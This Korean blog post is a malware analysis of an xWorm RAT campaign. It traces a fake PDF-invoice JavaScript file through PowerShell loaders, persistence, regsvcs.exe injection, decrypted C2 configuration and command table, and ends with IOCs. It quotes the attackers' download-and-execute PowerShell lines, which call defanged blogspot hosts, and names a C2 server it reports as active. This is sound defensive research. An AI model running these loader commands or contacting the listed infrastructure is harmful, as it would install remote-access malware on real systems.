목차
1. 개요
1.1) 배경
1.2) 공격 흐름
1.3) 분석 대상 파일 정보
2. 상세 분석
2.1) 초기 감염 과정 JavaScript -> PowerShell
2.2) stage 2 로더 분석 - PowerShell
2.3) 다중 리다이렉션
2.4) stage 2 PowerShell 로더 분석 - 초기화 과정
2.5) stage 3 JavaScript 로더 실행
2.6) stage 3 JavaScript 로더 분석
2.7) stage 3 JavaScript 로더 - 지속성 확보
2.8) stage 3 자가 삭제 루틴
2.9) stage 4 PowerShell 실행
2.10) stage 4 PowerShell 로더 - 초기화 과정
2.11) stage 4 PowerShell 로더 - 최종 페이로드 생성
2.12) 최종 페이로드 xWorm 개요
2.13) xWorm 난독화 구조
2.14) 동적 메소드 획득 기법
2.15) 암호화된 구성 데이터 복호화
2.16) 뮤텍스 생성 및 중복 실행 방지
2.17) C2 연결 시도
2.18) C2 수신 명령별 동작
2.19) C2 활성화 여부
3. 결론
3.1) IOC
4. 참고 문헌

1. 개요
1.1) 배경
xWorm은 2022년에 처음 등장한 MaaS(Malware-as-a-Service) 형태의 RAT 악성코드로, 감염된 Windows 시스템에 대한 원격 접근 기능을 제공한다. 공격자는 이를 통해 민감 정보 탈취, 원격 제어, 추가 페이로드 배포, 시스템 감시 및 키로깅 등의 악성 행위를 수행할 수 있다.
2023년 3월부터 4월 사이 피싱 이메일 캠페인을 통해 xWorm이 유포되는 정황이 관찰되었다. 공격자는 정상적인 서비스인 blogspot.com(구글 블로거)을 악용하여 악성 페이로드를 호스팅 하고, 이를 초기 진입점으로 삼아 다단계 감염이 이루어지는 구조를 사용하는 것으로 보고 되고 있다.

xWorm은 ‘xCoder’라는 닉네임을 사용하는 개발자로 추정되는 인물에 의해 다크웹 및 텔레그램에서 처음 등장하여, xWorm을 지속적으로 업데이트하며 상업적으로 유통하였고, 이를 통해 다양한 공격자들이 손쉽게 RAT 기능을 활용할 수 있는 환경이 조성되었다. 2022년부터 2026년까지 xWorm은 v2부터 v7.3에 이르기까지 여러 버전이 출시되며,기능과 모듈이 지속적으로 확장되어 왔다.


2024년 말, xWorm의 개발자로 알려진 xCoder가 텔레그램 계정 등을 삭제하며 공식적인 지원을 중단하였고, 이로 인해 xWorm의 개발이 종료되는 듯 보였다. 그러나 다른 해커 그룹에 의해 xWorm Group의 자료가 공개적으로 유출되는 사건이 발생하게 되어, 다양한 크랙 버전 및 변종 빌더가 무분별하게 유포되기 시작했으며, 일부 빌더에는 백도어가 삽입된 변형까지 포함된 것으로 확인되었다. 이로 인해 18,000대 이상의 시스템이 손상된 사례가 보고되었으며, 현재까지도 유포되고 있는 xWorm 변종의 상당수는 유출 소스코드 및 크랙된 빌더를 기반으로 제작된 것으로 관측되고 있다.

2025년 6월, xCoder는 ‘xCoderTools’라는 새로운 계정을 통해 기존 버전에서 발견되었던 RCE 취약점 등을 개선한 버전 xWorm v6.0을 출시하며 다크웹 및 해킹 포럼에 다시 등장하였다. 이를 기점으로 xWorm 관련 캠페인 활동이 재개되었으며, 유튜브, 디스코드, 텔레그램 등 다양한 플랫폼을 통해 xWorm 제품에 대한 홍보 및 판매를 시작하였다.

최근 2025년 10월, xWorm을 무료 디지털 제품 판매 플랫폼 ‘sellAuth’ 통해 판매해왔으나, 이후 해당 플랫폼에서 이용 정지를 당하면서 개인 텔레그램을 통한 판매 방식으로 변경되었다.
최근에는 v7.3 버전이 배포되었으며, UAC 우회(UAC bypass, reFud) 기능 강화, 랜섬웨어 모듈 개선 등 다양한 기능 보완이 이루어진 것으로 알려져 있다. 가장 큰 위험은 유튜브, 디스코드, 텔레그램과 같은 대중적인 플랫폼 경로를 통해 광고되기 때문에 일반 사용자에게 쉽게 노출될 수 있으며, 이에 악성코드에 대한 전문 지식이 없는 사용자가 호기심이나 금전적 목적 등으로 제품을 구매해 악용하는 사례가 발발할 가능성이 높다.
(판매되는 xWorm 가격 정보)
- 1 Month — $120 — 정식 버전
- 3 Months — $250 — 모든 기능을 포함한 확장 액세스 버전
- 6 Months — $350 — 일반 사용자를 위한 반년 플랜
- Unlimited — $500 — 무제한 이용, 향후 업데이트 및 지속 지원
1.2) 공격 흐름


xWorm은 초기 유포 단계에서 피싱 이메일을 주요 공격 벡터로 활용하며, 악성 문서 파일이나 VBS 스크립트 형태의 페이로드가 주로 관측되었으나, 최근에는 유포 방식이 변화하면서 난독화된 JavaScript 파일을 초기 로더로 사용하는 사례가 발견되고 있다. JavaScript 파일은 확장자 뒤에 .pdf를 덧붙여 정상 PDF 문서로 위장하며, 실행 시 PowerShell 기반의 추가 페이로드를 실행하며, 생성된 파일 흔적들을 제거한다. 이후 RegSvcs.exe와 같은 합법적인 Windows LOLBins 프로세스를 대상으로 xWorm 본체를 메모리에 로드하여 실행한다.
1.3) 분석 대상 파일 정보

| File name | invoice-1645080830.pdf .js |
| MD5 | 484c64353efb89f34ff47016d0e2893b |
| SHA-256 | a6c44a3cc61267b1404ee214a96cede26c3e7afb802b81db39afd4fc843a28d4 |
| File type | JavaScript |
| File size | 68.99 KB (70647 bytes) |
| First Submission | 2026-01-05 11:38:35 UTC |
2. 상세 분석
2.1) 초기 감염 과정 JavaScript -> PowerShell

해당 JavaScript 파일의 내용을 확인해 보면, Authenticode 서명 블록이 포함되어 있고, 전체 코드는 사람의 눈으로 해석하기 어려울 정도로 난독화된 단일 라인 형태로 구성되어 있다.

한 줄로 강하게 난독화된 JavaScript 코드에 개행을 적용해 재구성해 보면, 비정상적으로 길고 의미 없는 변수명이 다수 존재한다.

cht 배열에는 실제 실행에 사용되는 문자열과 인자 값들이 저장되어 있으며, ghi 객체는 ActiveXObject를 통해 생성된 Shell.Application 객체가 저장되어. 최종적으로 ghi[cht[1]](cht[2], cht[3], ...) 호출을 통해 PowerShell 명령을 실행한다.

Invoke-Expression과 IRM(Invoke-RestMethod)을 함께 사용하여 blogspot 도메인에 호스팅 된 경로(nipoli.pdf)을 스크립트 형태로 로드해 메모리 상에서 즉시 실행하며, Start-Sleep -Seconds 17 명령을 통해 일정 시간 대기 한다.
| PowerShell | |
| powershell -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (IRm https://decjan2026.blogspot[.]com/////////nipoli.pdf); Start-Sleep -Seconds 17 |
2.2) stage 2 로더 분석 - PowerShell

| URL | |
| https://09c1d5c3-1a6e-4c05-8e4e-eff75c6b5dd6[.]usrfiles.com/ugd/09c1d5_7d83c059660a41b29cbdfc4358b0513e.txt#http://www.google.com?http://www.google.com?http://www.google.com?http://www.google.com?http://www.google.com?http://www.google.com?http://www.google. |
nipoli.pdf 경로에 직접 접근할 경우, 실제 pdf 파일이 노출되지 않고 외부 URL로 강제 리다이렉트되는 동작이 확인된다. 리다이렉트 대상은 usrfiles.com 도메인에 호스팅된 텍스트 파일이며, 이후 다수의 google.com URL이 중첩된 형태로 연결된다. 리다이렉트 이후 접근되는 텍스트 파일은 2차 로더로 사용되는 PowerShell 코드가 포함되어 있다.
2.3) 다중 리다이렉션


유포 사이트는 Amazon CloudFront 기반 CDN 환경에서 운영되며, Nginx/OpenResty 웹 서버와 AWS 인프라를 사용하는 구조로 확인된다. 초기 접근 URL인 nipoli.pdf 요청은 직접적인 파일 제공 없이 atom.xml 경로로 한 차례 리다이렉트되며, 이후 최종적으로 usrfiles.com 도메인에 호스팅된 텍스트 파일로 연결되는 구조를 가지고 있다.
2.4) stage 2 PowerShell 로더 분석 - 초기화 과정

스크립트 실행 시 원활히 로더 동작이 수행할 수 있도록 .NET Framework 경로에 위치한 mshta, msbuild, jsc, wscript 등 LOLBins 프로세스를 강제 종료한다. 실제 페이로드 주입 및 실행에 사용되는 regsvcs.exe는 종료 대상에서 제외한다.
2.5) stage 3 JavaScript 로더 실행



난독화된 ASCII 숫자열을 디코딩하여 JavaScript 페이로드를 생성하며, 해당 페이로드는 다음 단계 로더를 요청·실행하기 위한 URL(https://hotdecjanniygga[.]blogspot.com/.../Kinder.pdf)을 동적으로 구성하고, 경로 구분자(/)의 개수를 무작위로 생성하여 URL 문자열을 변형함으로써 정적 시그니처 기반 탐지를 우회한다.
2.6) stage 3 JavaScript 로더 분석

| JavaScript |
| wscript C:\Users\...\AppData\Local\c8cd0807-abdc-f715-4eb2-8bbff4fa84d8.js |

생성된 JS 파일은 ActiveXObject와 ShellExecute를 활용해 PowerShell을 다시 호출하며, 실행 정책 우회(-ep Bypass) 및 TLS 1.2 강제 설정을 포함한다. 내부에는 원격 blogspot 도메인(hotdecjanniygga[.]blogspot.com//////Kinder.pdf) 에서 페이로드를 다운로드 및 실행하는 명령이 포함되어 있다.
| PowerShell |
| powershell.exe -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; IEX (Irm https://hotdecjanniygga[.]blogspot.com//////////////////////////Kinder.pdf); Start-Sleep -Seconds <random 1~99> |


Win32_ComputerSystemProduct 클래스를 통해 시스템의 UUID 값을 수집한 뒤, 이를 MD5 해시로 변환하여 GUID 형태의 고유 식별자를 생성한다. 이후 해당 식별자를 파일명으로 사용하여 JavaScript 페이로드를 로컬 사용자 AppData 경로에 저장한다. 저장된 파일은 은폐를 목적으로 숨김, 시스템, 읽기 전용 속성이 설정되며, 추가로 ACL(Access Control List)을 조작하여 일반 사용자가 해당 파일을 삭제하거나 접근하지 못하도록 제한한다.
2.7) stage 3 JavaScript 로더 - 지속성 확보



AppData 경로에 저장한 js 파일을 지속성 확보를 위해 작업 스케줄러(Task Scheduler)를 등록하고, 동시에 레지스트리 Run 키를 추가하여 시스템 재부팅 이후에도 실행되도록 구성한다.
2.8) stage 3 자가 삭제 루틴

마지막 단계에서는 자기 자신을 삭제하기 위해 다중 자가 삭제 로직을 수행하며, 실행 중인 PowerShell 및 BAT 프로세스를 종료해 흔적을 최소화한다.
2.9) stage 4 PowerShell 실행

| URL |
| https://09c1d5c3-1a6e-4c05-8e4e-eff75c6b5dd6.usrfiles[.]com/ugd/09c1d5_5349c17edee343f09cdc0c2480e1e17f.txt#http://www.google.com?http://www.google.com?http://www.google.com?http://www.google.com?http://www.google.com?http://www.google.com |
이전 단계의 JavaScript에서 실행되는 PowerShell 명령을 통해 Kinder.pdf 경로에 접근하면, 앞선 단계와 동일하게 다중 리다이렉션이 발생하고, 최종적으로 접근되는 텍스트 파일에는 다음 단계 로더로 사용되는 또 다른 PowerShell 코드가 포함되어 있다.
2.10) stage 4 PowerShell 로더 - 초기화 과정

로더가 원활히 동작할 수 있도록 NET Framework 경로(v2.0.50727, v4.0.30319)를 기준으로 mshta, wscript, msbuild, jsc 등 LOLBins 프로세스들을 강제 종료한다. 페이로드 실행에 사용될 regsvcs.exe는 예외 처리하여 종료하지 않도록 한다.

*.bat.exe 형태의 확장자 프로세스와 AppData 및 Startup 경로 내에 존재하는 스크립트 파일(.bat, .ps1, .vbs 등)을 삭제하여 실행 흔적과 잔여 파일을 삭제한다.
2.11) stage 4 PowerShell 로더 - 최종 페이로드 생성

$lora, $PE 변수에 저장된 난독화된 ASCII 숫자열 데이터를 복호화한다. 특수 문자(L, &, {, })를 숫자로 치환한 뒤 문자열을 역순으로 재배열하고, 이를 바이트 배열로 변환하여 실행 가능한 형태로 복원한다.

복원된 $PE 데이터는 .NET Assembly로 메모리에 직접 로드되며, 특정 클래스와 메서드를 호출한다. $lora에서 복호화된 데이터는 2차 PE 페이로드(Stage 2)로 사용된다. 해당 PE는 RegSvcs.exe(v2/v4)를 통해 실행되도록 설계되어 있으며, 정상 .NET 등록 유틸리티를 악용한 LotL(Living-off-the-Land) 기반 실행 기법이다.

실행 전에 메모리에 로드될 Stage 2 PE 페이로드를 C:\Temp\regsvcs_stage2.bin 경로로 저장하도록 코드를 삽입하면, RegSvcs.exe에 로드되는 실제 페이로드를 사전에 덤프 할 수 있다.
# ====== PE PAYLOAD DUMP ======
try {
$dumpDir = "C:\Temp"
$dumpFile = "$dumpDir\regsvcs_stage2.bin"
if (-not (Test-Path $dumpDir)) {
New-Item -ItemType Directory -Path $dumpDir | Out-Null
}
[IO.File]::WriteAllBytes($dumpFile, $data2)
Write-Host "[+] Stage2 PE dumped:"
Write-Host " Path :" $dumpFile
Write-Host " Size :" $data2.Length "bytes"
}
catch {
Write-Error "Dump failed: $($_.Exception.Message)"
}
2.12) 최종 페이로드 xWorm 개요

| File name | 3058.exe |
| MD5 | 0B91D54E513F01345B8F27BA05904CEC |
| SHA-256 | 43FFBADD5E38CFD00C2BFD51A068BA0A08330B857EC3ABA48DE21521F4A22F31 |
| File type | Win32 EXE |
| File size | 591KB |


최종 페이로드는 .NET 기반 실행 파일이며, 메타 데이터를 Avira Security로 위장하여 정상 소프트웨어인 것처럼 가장한다. Avira Operations GmbH 디지털 서명이 적용되었으나, 현재 해당 서명은 유효하지 않은 상태로 표시된다.
2.13) xWorm 난독화 구조


xWorm의 전체 코드 구조는 XOR 연산과 복잡한 산술 연산, 그리고 switch–case 기반 난독화를 조합하여 실행 흐름을 의도적으로 복잡하게 구성한 형태를 보인다. 무한 루프 내부에서 변수 값을 지속적으로 변경하며 다음에 실행될 코드 블록을 결정하고, 특정 조건에서는 goto 문을 사용해 코드의 임의 지점으로 직접 점프하도록 설계되어 있다.
좌측 그림은 switch-case 난독화를 사용하여 실행 순서를 의도적으로 복잡하게 구성한 예시이다.
2.14) 동적 메소드 획득 기법

System.Reflection.ResolveMethod()로 런타임에 메서드를 동적으로 조회하고, MethodHandle.GetFunctionPointer()를 통해 해당 메서드의 함수 포인터를 획득한다. 메서드 토큰 값은 num 변수와 XOR 연산, 산술 연산을 조합해 계산되며, 이를 통해 실제 호출 메서드를 식별하기 어렵게 만든다.
2.15) 암호화된 구성 데이터 복호화


초기화 과정에서 암호화되어 저장된 구성 정보(config)를 복호화하여 로드한다. 암호화된 구성 데이터는 Base64 형식으로 인코딩 된 후 AES‑ECB로 암호화되어 있으며, 실행 시 메모리 상에서 복호화되어 C2 통신 동작에 사용된다.


CreateDecryptor() 함수에서 사용되는 복호화 키를 확인할 수 있으며, 사용된 AES - ECB 복호화 키와 구성 정보에는 다음과 같은 항목들이 포함된다.
AES Key : 3FBF599CC716C75ED4E6345546724C3FBF599CC716C75ED4E6345546724C2200
| 구성 | 값 | 설명 |
| Host | lund.0cusign.com | C2 서버 주소 |
| Port | 3058 | 통신에 사용되는 포트 |
| Key | <666666> | C2 통신용 암호화 키 |
| SPL | <Xwormmm> | 내부 구분자 값 |
| Groub | NEW | 감염 그룹 식별자 |
| USBNM | USB.exe | USB 전파 또는 식별에 사용되는 이름 정보 |
2.16) 뮤텍스 생성 및 중복 실행 방지

실행 시 뮤텍스를 생성하고, "oWQQNXTQ863GTEix" 이름의 뮤텍스가 존재하는지 확인하여 중복 실행을 방지한다.
2.17) C2 연결 시도

초기화가 완료되면, 복호화된 구성 데이터에 포함된 C2 서버 Host(lund[.]0cusign.com)로 연결을 시도한다. 연결에 실패할 경우에도 10~15초 주기로 지속적인 재연결 시도를 수행하여 C2 통신이 가능해질 때까지 반복적으로 접속을 시도한다.
2.18) C2 수신 명령별 동작

코드 전반에 걸쳐 강한 난독화가 적용되어 있어 C2 서버로부터 수신되는 명령(recv)에 따른 세부 동작을 직접 추적하는 데에는 한계가 있다. 이에 따라, 기존에 공개되거나 유출된 xWorm 샘플 및 소스코드 정보를 기반으로 주요 명령 기능을 정리하였다. xWorm에서 수행되는 주요 명령별 동작은 아래와 같다.
| 명령어 | 기능 설명 |
| pong | 서버에 pong 응답 전송 및 Interval 초기화 |
| rec | 프로세스 보호 해제 → 뮤텍스 종료 → 프로그램 재시작 |
| CLOSE | 소켓 종료 후 프로그램 완전 종료 |
| uninstall | 자기 자신 삭제(언인스톨) |
| update | 새 바이너리로 자기 자신 업데이트 |
| DW | 디스크에 파일 실행/드롭 |
| FM | 메모리 상에서 코드 실행 (Reflective/Memory Load) |
| LN | URL에서 파일 다운로드 후 실행 |
| Urlopen | URL을 일반 방식으로 열기 |
| Urlhide | URL을 숨김 모드로 열기 |
| PCShutdown | 시스템 강제 종료 |
| PCRestart | 시스템 강제 재부팅 |
| PCLogoff | 사용자 로그오프 |
| RunShell | 쉘 명령어 실행 |
| StartDDos | DDoS 공격 스레드 시작 |
| StopDDos | DDoS 공격 중지 |
| StartReport | 모니터링/리포트 스레드 시작 |
| StopReport | 모니터링/리포트 중지 |
| Xchat | Xchat 기능 식별자 전송 |
| Hosts | hosts 파일 경로 및 내용 서버로 전송 |
| Shosts | hosts 파일 수정 |
| DDos | DDoS 상태/기능 응답 |
| plugin | 플러그인 요청 또는 로드 |
| savePlugin | 플러그인 저장 후 즉시 실행 |
| RemovePlugins | 레지스트리 내 플러그인 삭제 |
| OfflineGet | 오프라인 키로거 로그 전송 |
| $Cap | 화면 캡처 후 썸네일 생성 및 전송 |
2.19) C2 활성화 여부

현재 C2 서버로 사용되는 IP 147[.]45.45.132는 지리적 위치상 영국(UK)으로 추정되며, 해당 IP 주소로 ICMP 핑 패킷을 전송한 결과, C2 서버가 현재 활성 상태로 운영 중인 것으로 확인된다.
따라서 추가적인 네트워크 접근이나 동적 분석을 수행할 경우, 실제 공격자 인프라와의 통신 가능성을 고려하여 각별한 주의가 필요하다.
3. 결론
본 분석에서는 다단계 로더 구조를 사용하는 xWorm 계열 악성코드의 실행 흐름을 분석하였다. JavaScript 및 PowerShell 기반 로더는 ACL 조작, 실행 흔적 제거 등 분석 및 추적을 방해하는 기능을 포함하며 .NET Framework LOLBins를 정리한 뒤, regsvcs.exe를 대상으로 Reflection 방식으로 최종 페이로드를 메모리에 로드하여 실행한다.
최종 페이로드는 Avira Security로 위장된 메타데이터와 탈취된 디지털 서명을 사용하고 있으며, 현재 C2 서버 또한 활성화된 상태이다. JavaScript 기반 유포 방식의 다양한 변종이 확인되고 있어, 유사한 스크립트 파일 및 관련 유포 정황에 대한 각별한 주의가 요구된다.
3.1) IOC
| Filename | SHA256 |
| invoice-1645080830.pdf .js | a6c44a3cc61267b1404ee214a96cede26c3e7afb802b81db39afd4fc843a28d4 |
| <GUID>.js | a5a987393f2f58545bff3b172967d1f7550cd74e9c52639c6f48256fb05cbe6c |
| 3058.exe | 43FFBADD5E38CFD00C2BFD51A068BA0A08330B857EC3ABA48DE21521F4A22F31 |
| C2 | |
| lund[.]0cusign.com | 147[.]45.45.132 |
| URL |
| https://decjan2026[.]blogspot.com/////////nipoli.pdf https://decjan2026[.]blogspot.com/atom.xml https://09c1d5c3-1a6e-4c05-8e4e-eff75c6b5dd6.usrfiles[.]com/ugd/09c1d5_7d83c059660a41b29cbdfc4358b0513e.txt https://hotdecjanniygga[.]blogspot.com//////////////////////////Kinder.pdf https://hotdecjanniygga.blogspot[.]com/atom.xml https://09c1d5c3-1a6e-4c05-8e4e-eff75c6b5dd6.usrfiles[.]com/ugd/09c1d5_5349c17edee343f09cdc0c2480e1e17f.txt |
4. 참고 문헌
[1] https://www.trellix.com/blogs/research/xworm-v6-exploring-pivotal-plugins/
(XWorm V6: Exploring Pivotal Plugins)
'Reversing > Malware Analysis' 카테고리의 다른 글
| [LockBit 3.0] RaaS 랜섬웨어 분석 (LockBit Black) (0) | 2025.12.21 |
|---|---|
| [xRed Backdoor] 파일 감염과 USB 확산을 수행하는 악성코드 (0) | 2025.12.21 |
| [Shuyal Stealer] Telegram API를 악용하는 악성코드 (0) | 2025.12.05 |
| [Agent Tesla] 악성메일로 유포되는 .NET 기반 악성코드 분석 (0) | 2025.11.22 |
| [Kimsuky] 정상 인증서를 악용하는 Go언어 기반 악성코드 분석 (0) | 2025.11.13 |